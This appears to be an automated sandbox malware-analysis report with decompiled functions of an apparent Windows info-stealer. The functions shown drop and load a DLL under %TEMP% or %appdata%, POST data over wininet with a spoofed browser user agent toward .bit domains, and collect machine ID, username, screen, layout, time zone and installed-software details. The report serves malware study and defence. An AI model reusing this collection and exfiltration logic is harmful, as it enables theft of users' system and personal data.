GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098BA

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

PATH, xrefs: 00409724
%appdata%\2fda\, xrefs: 004096EF
%TEMP%\2fda\, xrefs: 004096A1

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressProc$CreateDirectoryE4513$E7790LibraryLoad
String ID: %TEMP%\2fda\$%appdata%\2fda\$PATH
API String ID: 1987173358-1556614757
Opcode ID: 69a6d6f649925af34e7a9747e609dd8be277e3fe0230d995e71ab4b216852809
Instruction ID: 5b3c55801863a32800eae0c5f30943bce4d4c5d0b2659c2e20ef893ba67f7cd3
Opcode Fuzzy Hash: 69a6d6f649925af34e7a9747e609dd8be277e3fe0230d995e71ab4b216852809
Instruction Fuzzy Hash: A991E8B06402049FD711EF69D885F9A37E8BF49349F00847AB404EB7A6C778AD44CB9D

Uniqueness

Uniqueness Score: 100.00%

Function 00409668, Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 228
libraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E00409668(char __eax, void* __ebx, void* __esi, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _t31;
				intOrPtr* _t34;
				intOrPtr* _t39;
				intOrPtr* _t52;
				intOrPtr* _t57;
				intOrPtr* _t62;
				intOrPtr* _t67;
				intOrPtr* _t72;
				intOrPtr* _t77;
				intOrPtr* _t82;
				intOrPtr* _t87;
				intOrPtr* _t92;
				intOrPtr* _t97;
				intOrPtr* _t102;
				intOrPtr* _t107;
				intOrPtr* _t112;
				intOrPtr* _t129;
				intOrPtr* _t131;
				intOrPtr _t140;
				intOrPtr _t149;
				void* _t150;

				_t150 = __eflags;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_v8 = __eax;
				E00403980(_v8);
				_push(_t149);
				_push(0x409963);
				_push( *[fs:eax]);
				 *[fs:eax] = _t149;
				 *0x41b0d8 = 0;
				E004062FC(L"%TEMP%\\2fda\\",  &_v12, _t150);
				E00403C18(0x41ca5c, _v12);
				CreateDirectoryW(E00403D98( *0x41ca5c), 0);
				E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t150);
				_t129 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v16,  *_t129,  *0x41ca5c, _t150);
				_t31 = E0040776C(_v16, 0x41ca58,  *_t129);
				_t151 = _t31;
				if(_t31 == 0) {
					E004062FC(L"%appdata%\\2fda\\",  &_v20, _t151);
					E00403C18(0x41ca5c, _v20);
					CreateDirectoryW(E00403D98( *0x41ca5c), 0);
					E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t151);
				}
				_t34 =  *0x41b3ac; // 0x41c6ac
				 *((intOrPtr*)( *_t34))(L"PATH", E00403D98( *0x41ca5c));
				_t39 =  *0x41b320; // 0x41c6b0
				 *((intOrPtr*)( *_t39))(E00403D98( *0x41ca5c));
				_t131 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v24,  *_t131,  *0x41ca5c, _t151);
				 *0x41ca58 = LoadLibraryExW(E00403D98(_v24), 0, 8);
				if( *0x41ca58 != 0) {
					_t52 =  *0x41b37c; // 0x41c994
					 *0x41ca20 = GetProcAddress( *0x41ca58, E00403990( *_t52));
					_t57 =  *0x41b42c; // 0x41c998
					 *0x41ca24 = GetProcAddress( *0x41ca58, E00403990( *_t57));
					_t62 =  *0x41b14c; // 0x41c99c
					 *0x41ca28 = GetProcAddress( *0x41ca58, E00403990( *_t62));
					_t67 =  *0x41b214; // 0x41c9a0
					 *0x41ca2c = GetProcAddress( *0x41ca58, E00403990( *_t67));
					_t72 =  *0x41b418; // 0x41c9a4
					 *0x41ca30 = GetProcAddress( *0x41ca58, E00403990( *_t72));
					_t77 =  *0x41b2a4; // 0x41c9a8
					 *0x41ca34 = GetProcAddress( *0x41ca58, E00403990( *_t77));
					_t82 =  *0x41b328; // 0x41c9ac
					 *0x41ca38 = GetProcAddress( *0x41ca58, E00403990( *_t82));
					_t87 =  *0x41b318; // 0x41c7d8
					 *0x41ca3c = GetProcAddress( *0x41ca58, E00403990( *_t87));
					_t92 =  *0x41b2bc; // 0x41c7dc
					 *0x41ca40 = GetProcAddress( *0x41ca58, E00403990( *_t92));
					_t97 =  *0x41b408; // 0x41c7e0
					 *0x41ca44 = GetProcAddress( *0x41ca58, E00403990( *_t97));
					_t102 =  *0x41b3b8; // 0x41c7e4
					 *0x41ca48 = GetProcAddress( *0x41ca58, E00403990( *_t102));
					_t107 =  *0x41b2f0; // 0x41c7e8
					 *0x41ca4c = GetProcAddress( *0x41ca58, E00403990( *_t107));
					_t112 =  *0x41b48c; // 0x41c7ec
					 *0x41ca50 = GetProcAddress( *0x41ca58, E00403990( *_t112));
					if( *0x41ca20 != 0 &&  *0x41ca24 != 0 &&  *0x41ca28 != 0 &&  *0x41ca2c != 0 &&  *0x41ca30 != 0 &&  *0x41ca34 != 0 &&  *0x41ca38 != 0 &&  *0x41ca3c != 0 &&  *0x41ca40 != 0 &&  *0x41ca44 != 0 &&  *0x41ca48 != 0 &&  *0x41ca4c != 0 &&  *0x41ca50 != 0) {
						 *0x41b0d8 = 1;
					}
				}
				_pop(_t140);
				 *[fs:eax] = _t140;
				_push(E0040996A);
				E00403BF4( &_v24, 4);
				return E004034E4( &_v8);
			}

0x00409668
0x0040966d
0x0040966e
0x0040966f
0x00409670
0x00409671
0x00409672
0x00409674
0x0040967a
0x0040968b
0x0040968c
0x00409691
0x00409694
0x00409697
0x004096a6
0x004096b0
0x004096bf
0x004096c9
0x004096ce
0x004096db
0x004096e3
0x004096e8
0x004096ea
0x004096f4
0x004096fe
0x0040970d
0x00409717
0x00409717
0x00409729
0x00409730
0x0040973a
0x00409741
0x00409747
0x00409754
0x00409767
0x0040976c
0x00409772
0x00409787
0x0040978c
0x004097a1
0x004097a6
0x004097bb
0x004097c0
0x004097d5
0x004097da
0x004097ef
0x004097f4
0x00409809
0x0040980e
0x00409823
0x00409828
0x0040983d
0x00409842
0x00409857
0x0040985c
0x00409871
0x00409876
0x0040988b
0x00409890
0x004098a5
0x004098aa
0x004098bf
0x004098cb
0x00409939
0x00409939
0x004098cb
0x00409942
0x00409945
0x00409948
0x00409955
0x00409962

APIs

Part of subcall function 00403C18: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA
Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6,?,?), ref: 004096BF
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6), ref: 0040970D
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6,?,?,?), ref: 00409762
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188E6,?), ref: 00409782
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 0040979C
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000), ref: 004097B6
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008,?,?,?,00000000,00000000), ref: 004097D0
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008), ref: 004097EA
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000008), ref: 00409804
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040981E
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409838
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409852
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040986C
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409886
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098A0
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098BA

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

PATH, xrefs: 00409724
%appdata%\2fda\, xrefs: 004096EF
%TEMP%\2fda\, xrefs: 004096A1

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressProc$CreateDirectoryE4513$E7790LibraryLoad
String ID: %TEMP%\2fda\$%appdata%\2fda\$PATH
API String ID: 1987173358-1556614757
Opcode ID: 4090eee4db43156915815db181ae31bd2d68d6ab81a64fcd652a5a8f918c4242
Instruction ID: 26c99af69019636de113f168175dae5416f6f3cc59ad43c6f3cb6d4c520b39b5
Opcode Fuzzy Hash: 4090eee4db43156915815db181ae31bd2d68d6ab81a64fcd652a5a8f918c4242
Instruction Fuzzy Hash: A191D7B06402049FD711EF69D885F9A77E8BF49349F00847AB404EB7A6C778AD44CB9D

Uniqueness

Uniqueness Score: 100.00%

Function 00417DA4, Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 377
libraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 57%

			E00417DA4(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				_Unknown_base(*)()* _v20;
				_Unknown_base(*)()* _v24;
				_Unknown_base(*)()* _v28;
				_Unknown_base(*)()* _v32;
				_Unknown_base(*)()* _v36;
				_Unknown_base(*)()* _v40;
				_Unknown_base(*)()* _v44;
				_Unknown_base(*)()* _v48;
				char _v52;
				char _v56;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char _v73;
				signed int _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v132;
				char _v388;
				char _v516;
				char _v644;
				char _v2692;
				char _v3716;
				char _v3776;
				char _v69412;
				char _v69416;
				char _v69420;
				char _v69424;
				char _v69428;
				char _v69432;
				char _v69436;
				char _v69440;
				void* __ecx;
				void* _t307;
				struct HINSTANCE__* _t329;
				void* _t330;
				intOrPtr _t332;
				intOrPtr _t356;
				void* _t365;
				intOrPtr* _t376;
				intOrPtr* _t378;
				intOrPtr _t380;
				intOrPtr _t381;
				char _t396;

				_t380 = _t381;
				_t332 = 0x21e7;
				do {
					_push(0);
					_push(0);
					_t332 = _t332 - 1;
				} while (_t332 != 0);
				_t1 =  &_v8;
				 *_t1 = _t332;
				_v16 =  *_t1;
				_v12 = __edx;
				_v8 = __eax;
				E00403980(_v8);
				E00403980(_v12);
				E00403980(_v16);
				_t376 =  &_v3776;
				_push(_t380);
				_push(0x4182b2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t381;
				if(_v16 == 0) {
					E0040357C( &_v16, 0x4182cc);
				}
				E004034E4( &_v92);
				E0040357C( &_v56, _v8);
				_v73 = 0;
				E0040357C( &_v52, "wininet.dll");
				_t329 = GetModuleHandleA(E004039E8( &_v52));
				if(_t329 == 0) {
					_t329 = LoadLibraryA(E004039E8( &_v52));
				}
				_v20 = GetProcAddress(_t329,  &((E004039E8( &_v52))[0xc]));
				_v24 = GetProcAddress(_t329,  &((E004039E8( &_v52))[0x1a]));
				_v28 = GetProcAddress(_t329,  &((E004039E8( &_v52))[0x2b]));
				_v32 = GetProcAddress(_t329,  &((E004039E8( &_v52))[0x3c]));
				_v36 = GetProcAddress(_t329,  &((E004039E8( &_v52))[0x53]));
				_v40 = GetProcAddress(_t329,  &((E004039E8( &_v52))[0x64]));
				_t378 = GetProcAddress(_t329,  &((E004039E8( &_v52))[0x75]));
				_v44 = GetProcAddress(_t329,  &((E004039E8( &_v52))[0x89]));
				_v48 = GetProcAddress(_t329,  &((E004039E8( &_v52))[0x9b]));
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				E00404F5C();
				 *_t376 = 0x3c;
				 *((intOrPtr*)(_t376 + 4)) =  &_v132;
				 *((intOrPtr*)(_t376 + 8)) = 0x20;
				 *((intOrPtr*)(_t376 + 0x10)) =  &_v388;
				 *((intOrPtr*)(_t376 + 0x14)) = 0x100;
				 *((intOrPtr*)(_t376 + 0x1c)) =  &_v516;
				 *((intOrPtr*)(_t376 + 0x20)) = 0x80;
				 *((intOrPtr*)(_t376 + 0x24)) =  &_v644;
				 *((intOrPtr*)(_t376 + 0x28)) = 0x80;
				 *((intOrPtr*)(_t376 + 0x2c)) =  &_v2692;
				 *((intOrPtr*)(_t376 + 0x30)) = 0x800;
				 *((intOrPtr*)(_t376 + 0x34)) =  &_v3716;
				 *((intOrPtr*)(_t376 + 0x38)) = 0x400;
				_v44(E00403990(_v56), E00403790(_v56), 0x90000000, _t376);
				E004036DC( &_v100,  *((intOrPtr*)(_t376 + 0x10)));
				E004039F0(_v100, 4, E00403790(_v100) - 3,  &_v69416);
				if(E00403AD4(0x418394, _v69416) != 0) {
					_v73 = 1;
					E004036DC( &_v69420,  *((intOrPtr*)(_t376 + 0x10)));
					E004037DC( &_v88, _v69420, "Host: ");
					E00417688(_v100, _t329,  &_v69424, _t376, _t378);
					 *((intOrPtr*)(_t376 + 0x10)) = E00403990(_v69424);
				}
				_t330 = _v20("Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", 0, 0, 0, 0);
				if(_t330 != 0) {
					_v84 = 0x2dc6c0;
					_v48(_t330, 6,  &_v84, 4);
					_v48(_t330, 5,  &_v84, 4);
					_v64 = _v24(_t330,  *((intOrPtr*)(_t376 + 0x10)),  *((intOrPtr*)(_t376 + 0x18)), 0, 0, 3, 0, 0);
					if(_v64 != 0) {
						_v80 = 0x84003300;
						E004036DC( &_v69428,  *((intOrPtr*)(_t376 + 4)));
						if(E00403AD4(0x4183e8, _v69428) != 0) {
							_v80 = _v80 | 0x00800000;
						}
						_v68 = _v28(_v64, E00403990(_v16),  *((intOrPtr*)(_t376 + 0x2c)), 0, 0, 0, _v80, 0);
						if(_v68 != 0) {
							if(_v73 != 0) {
								_v32(_v68, E00403990(_v88), E00403790(_v88), 0xa0000000);
							}
							_push(E00403790(_v12));
							_push(E00403990(_v12));
							_push(0);
							_push(0x4183ec);
							_push(_v68);
							if(_v36() != 0) {
								do {
									E00404F5C();
									_v72 = _v40(_v68,  &_v69412, 0x10064,  &_v60);
									E004035D4( &_v96, _v60,  &_v69412);
									_t307 = E00403798( &_v92, _v96);
									asm("sbb eax, eax");
								} while (_t307 + 1 != 0 && _v60 != 0);
							}
						}
						 *_t378(_v68);
					}
					 *_t378(_v64);
				}
				 *_t378(_t330);
				_t396 = _v92;
				if(_t396 == 0) {
					_push(_v100);
					_push(_v12);
					_push( *((intOrPtr*)(_t376 + 0x18)));
					_push( &_v92);
					E004036DC( &_v69432,  *((intOrPtr*)(_t376 + 0x2c)));
					_push(_v69432);
					E004036DC( &_v69436,  *((intOrPtr*)(_t376 + 0x10)));
					_pop(_t365);
					E00417840(_v69436, _t330, _v16, _t365, _t378);
				}
				E004038DC(_v16, 0x4182cc);
				if(_t396 == 0) {
					E0040627C(_v100, _t330,  &_v69440, _t378, _t396);
					E004038DC(_v69440, "49D75853");
					if(_t396 != 0) {
						E004034E4( &_v92);
					}
				}
				E00403538(_a4, _v92);
				E004034E4( &_v92);
				_pop(_t356);
				 *[fs:eax] = _t356;
				_push(E004182B9);
				E00403508( &_v69440, 7);
				E00403508( &_v100, 4);
				E00403508( &_v56, 2);
				return E00403508( &_v16, 3);
			}

0x00417da5
0x00417da8
0x00417dad
0x00417dad
0x00417daf
0x00417db1
0x00417db1
0x00417db4
0x00417db4
0x00417dba
0x00417dbd
0x00417dc0
0x00417dc6
0x00417dce
0x00417dd6
0x00417ddb
0x00417de3
0x00417de4
0x00417de9
0x00417dec
0x00417df3
0x00417dfd
0x00417dfd
0x00417e05
0x00417e10
0x00417e15
0x00417e21
0x00417e34
0x00417e38
0x00417e48
0x00417e48
0x00417e5c
0x00417e71
0x00417e86
0x00417e9b
0x00417eb0
0x00417ec5
0x00417eda
0x00417ef0
0x00417f07
0x00417f12
0x00417f22
0x00417f32
0x00417f42
0x00417f52
0x00417f62
0x00417f6e
0x00417f73
0x00417f7c
0x00417f7f
0x00417f8c
0x00417f8f
0x00417f9c
0x00417f9f
0x00417fac
0x00417faf
0x00417fbc
0x00417fbf
0x00417fcc
0x00417fcf
0x00417fee
0x00417ff7
0x00418018
0x0041802f
0x00418031
0x0041803e
0x00418051
0x0041805f
0x0041806f
0x0041806f
0x00418082
0x00418086
0x0041808c
0x0041809c
0x004180a8
0x004180c2
0x004180c9
0x004180cf
0x004180df
0x004180f6
0x004180f8
0x004180f8
0x0041811f
0x00418126
0x00418130
0x0041814d
0x0041814d
0x00418158
0x00418161
0x00418162
0x00418164
0x0041816c
0x00418172
0x00418174
0x0041817f
0x0041819b
0x004181aa
0x004181b5
0x004181be
0x004181c1
0x00418174
0x00418172
0x004181cf
0x004181cf
0x004181d5
0x004181d5
0x004181d8
0x004181da
0x004181de
0x004181e3
0x004181e7
0x004181ec
0x004181f0
0x004181fa
0x00418205
0x0041820f
0x0041821d
0x0041821e
0x0041821e
0x0041822b
0x00418230
0x0041823b
0x0041824b
0x00418250
0x00418255
0x00418255
0x00418250
0x00418260
0x00418268
0x0041826f
0x00418272
0x00418275
0x00418285
0x00418292
0x0041829f
0x004182b1

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,004182B2,?,?,?,?,00000000,00000000,00000000,?,00418815,00000000), ref: 00417E2F
LoadLibraryA.KERNEL32(00000000), ref: 00417E43
GetProcAddress.KERNEL32(00000000,-0000000C,00000000,00000000,004182B2,?,?,?,?,00000000,00000000,00000000,?,00418815,00000000), ref: 00417E57
GetProcAddress.KERNEL32(00000000,-0000001A,00000000,-0000000C,00000000,00000000,004182B2,?,?,?,?,00000000,00000000,00000000,?,00418815), ref: 00417E6C
GetProcAddress.KERNEL32(00000000,-0000002B,00000000,-0000001A,00000000,-0000000C,00000000,00000000,004182B2,?,?,?,?,00000000,00000000,00000000), ref: 00417E81
GetProcAddress.KERNEL32(00000000,-0000003C,00000000,-0000002B,00000000,-0000001A,00000000,-0000000C,00000000,00000000,004182B2,?,?,?,?,00000000), ref: 00417E96
GetProcAddress.KERNEL32(00000000,-00000053,00000000,-0000003C,00000000,-0000002B,00000000,-0000001A,00000000,-0000000C,00000000,00000000,004182B2), ref: 00417EAB
GetProcAddress.KERNEL32(00000000,-00000064,00000000,-00000053,00000000,-0000003C,00000000,-0000002B,00000000,-0000001A,00000000,-0000000C,00000000,00000000,004182B2), ref: 00417EC0
GetProcAddress.KERNEL32(00000000,-00000075,00000000,-00000064,00000000,-00000053,00000000,-0000003C,00000000,-0000002B,00000000,-0000001A,00000000,-0000000C,00000000,00000000), ref: 00417ED5
GetProcAddress.KERNEL32(00000000,-00000089,00000000,-00000075,00000000,-00000064,00000000,-00000053,00000000,-0000003C,00000000,-0000002B,00000000,-0000001A,00000000,-0000000C), ref: 00417EEB
GetProcAddress.KERNEL32(00000000,-0000009B,00000000,-00000089,00000000,-00000075,00000000,-00000064,00000000,-00000053,00000000,-0000003C,00000000,-0000002B,00000000,-0000001A), ref: 00417F02

Part of subcall function 00417840: GetModuleHandleA.KERNEL32(00000000,00000000,00417C51,?,00000000,00000000,?,00418223,00000000,?,?,?), ref: 004178CC
Part of subcall function 00417840: LoadLibraryA.KERNEL32(00000000), ref: 004178E0
Part of subcall function 00417840: GetProcAddress.KERNEL32(00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000,?,00418223,00000000,?,?,?), ref: 004178F4
Part of subcall function 00417840: GetProcAddress.KERNEL32(00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000,?,00418223,00000000,?,?,?), ref: 0041790B
Part of subcall function 00417840: GetProcAddress.KERNEL32(00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000,?,00418223,00000000,?), ref: 00417922
Part of subcall function 00417840: GetProcAddress.KERNEL32(00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000,?,00418223), ref: 00417939
Part of subcall function 00417840: GetProcAddress.KERNEL32(00000000,-00000031,00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51,?,00000000,00000000), ref: 00417950
Part of subcall function 00417840: GetProcAddress.KERNEL32(00000000,-00000036,00000000,-00000031,00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000,00417C51), ref: 00417967
Part of subcall function 00417840: GetProcAddress.KERNEL32(00000000,-0000003C,00000000,-00000036,00000000,-00000031,00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C,00000000,00000000), ref: 0041797E
Part of subcall function 00417840: GetProcAddress.KERNEL32(00000000,-00000044,00000000,-0000003C,00000000,-00000036,00000000,-00000031,00000000,-0000002C,00000000,-00000025,00000000,-00000017,00000000,-0000000C), ref: 00417995

Strings

49D75853, xrefs: 00418246
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 0041807A
POST, xrefs: 00417DF8, 00418226
Host: , xrefs: 0041804C
wininet.dll, xrefs: 00417E1C
.bit, xrefs: 00418023

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: .bit$49D75853$Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$POST$wininet.dll
API String ID: 384173800-230017850
Opcode ID: a9c31f7d95cd55a3378dbe352dc435fc5199df60bb5dfec1e3cdcfe1427e637a
Instruction ID: 801840e1656a921475aa8d836ade25f441fe318e6b6fe0a913a22531e032b4b7
Opcode Fuzzy Hash: a9c31f7d95cd55a3378dbe352dc435fc5199df60bb5dfec1e3cdcfe1427e637a
Instruction Fuzzy Hash: 26E1FEB1910208ABDB10EFA5CC46BDEBBBCBF48305F10457AF504B7691DB78AA45CB58

Uniqueness

Uniqueness Score: 100.00%

Function 00416994, Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 213
sleepUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00416994(intOrPtr* __eax, void* __ebx, intOrPtr* __edx, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				signed char _t59;
				intOrPtr* _t60;
				intOrPtr* _t142;
				void* _t143;
				intOrPtr _t173;
				void* _t181;
				intOrPtr _t184;
				intOrPtr _t185;

				_t182 = __esi;
				_t59 = __eax +  *__eax;
				 *_t59 =  *_t59 + _t59;
				asm("das");
				 *_t59 =  *_t59 + _t59;
				 *__edx =  *__edx + _t59;
				 *_t59 =  *_t59 + _t59;
				 *_t59 =  *_t59 + _t59;
				 *_t59 =  *_t59 & _t59;
				 *_t59 =  *_t59 + _t59;
				_t60 = _t59 +  *_t59;
				 *_t60 =  *_t60 + _t60;
				 *_t60 =  *_t60 + _t60;
				_t184 = _t185;
				_t143 = 0xc;
				do {
					_push(0);
					_push(0);
					_t143 = _t143 - 1;
					_t191 = _t143;
				} while (_t143 != 0);
				_t142 = _t60;
				_push(_t184);
				_push(0x416c98);
				_push( *[fs:eax]);
				 *[fs:eax] = _t185;
				_push("MachineID :   ");
				E00406CE8( &_v8, _t142, __esi);
				_push(_v8);
				_push(0x416cc4);
				E00403850();
				_push( *_t142);
				_push("EXE_PATH  :   ");
				E004166A4(0,  &_v12);
				_push(_v12);
				_push(0x416ce8);
				E00403850();
				_push( *_t142);
				_push("Windows    :   ");
				E00407B08( &_v28, _t142, _t181, __esi);
				_push(_v28);
				_push(0x416d10);
				E00403850();
				E00403D88( &_v20, _v24);
				_push(_v20);
				E004066E4( &_v32, _t191);
				_push(_v32);
				_push(0x416d18);
				E00406BD8( &_v36);
				_push(_v36);
				_push(0x416d20);
				E00403E78();
				E0040377C(_t142, _v16);
				E004037DC( &_v48, "Computer(Username) :   ",  *_t142);
				E00403D88( &_v44, _v48);
				_push(_v44);
				E00406634( &_v52);
				_push(_v52);
				_push(0x416d4c);
				E004065F0( &_v56);
				_push(_v56);
				_push(0x416d54);
				_push(0x416d20);
				E00403E78();
				E0040377C(_t142, _v40);
				E004037DC( &_v68, "Screen: ",  *_t142);
				E00403D88( &_v64, _v68);
				_push(_v64);
				E0040709C(GetSystemMetrics(0), _t142,  &_v72, __esi, _t191);
				_push(_v72);
				_push(0x416d70);
				E0040709C(GetSystemMetrics(1), _t142,  &_v76, _t182, _t191);
				_push(_v76);
				_push(0x416d20);
				E00403E78();
				E0040377C(_t142, _v60);
				_push( *_t142);
				_push("Layouts: ");
				E004166D4( &_v80, _t142, _t181, _t182);
				_push(_v80);
				_push(0x416cc4);
				E00403850();
				_push( *_t142);
				_push("LocalTime: ");
				E004168B4( &_v84, _t142, _t182);
				_push(_v84);
				_push(0x416cc4);
				E00403850();
				_push( *_t142);
				_push("Zone: ");
				E004167B4( &_v88, _t142, _t181, _t182, _t191);
				_push(_v88);
				_push(0x416ce8);
				E00403850();
				_push( *_t142);
				E00415E64( &_v92, _t142, _t181, _t182);
				_push(_v92);
				_push(0x416ce8);
				E00403850();
				Sleep(1);
				_push( *_t142);
				E004162B0( &_v96, _t142, _t181, _t182, _t191);
				_push(_v96);
				_push(0x416cc4);
				_push(0x416cc4);
				E00403850();
				Sleep(1);
				_push( *_t142);
				_push("[Soft]");
				E00403850();
				Sleep(1);
				E0041564C( &_v100, _t142, _t181, _t182);
				E00403798(_t142, _v100);
				_t173 = 0x416cc4;
				 *[fs:eax] = _t173;
				_push(E00416C9F);
				E00403508( &_v100, 6);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BF4( &_v64, 4);
				E004034E4( &_v48);
				E00403BF4( &_v44, 4);
				E00403508( &_v28, 2);
				E00403BF4( &_v20, 2);
				return E00403508( &_v12, 2);
			}

0x00416994
0x00416994
0x00416996
0x00416998
0x00416999
0x0041699b
0x0041699d
0x0041699f
0x004169a0
0x004169a2
0x004169a4
0x004169a6
0x004169aa
0x004169ad
0x004169af
0x004169b4
0x004169b4
0x004169b6
0x004169b8
0x004169b8
0x004169b8
0x004169bc
0x004169c0
0x004169c1
0x004169c6
0x004169c9
0x004169cc
0x004169d4
0x004169d9
0x004169dc
0x004169e8
0x004169ed
0x004169ef
0x004169f9
0x004169fe
0x00416a01
0x00416a0d
0x00416a12
0x00416a14
0x00416a1c
0x00416a21
0x00416a24
0x00416a31
0x00416a3c
0x00416a41
0x00416a47
0x00416a4c
0x00416a4f
0x00416a57
0x00416a5c
0x00416a5f
0x00416a6c
0x00416a76
0x00416a85
0x00416a90
0x00416a95
0x00416a9b
0x00416aa0
0x00416aa3
0x00416aab
0x00416ab0
0x00416ab3
0x00416ab8
0x00416ac5
0x00416acf
0x00416ade
0x00416ae9
0x00416aee
0x00416afb
0x00416b00
0x00416b03
0x00416b12
0x00416b17
0x00416b1a
0x00416b27
0x00416b31
0x00416b36
0x00416b38
0x00416b40
0x00416b45
0x00416b48
0x00416b54
0x00416b59
0x00416b5b
0x00416b63
0x00416b68
0x00416b6b
0x00416b77
0x00416b7c
0x00416b7e
0x00416b86
0x00416b8b
0x00416b8e
0x00416b9a
0x00416b9f
0x00416ba4
0x00416ba9
0x00416bac
0x00416bb8
0x00416bbf
0x00416bc4
0x00416bc9
0x00416bce
0x00416bd1
0x00416bd6
0x00416be2
0x00416be9
0x00416bee
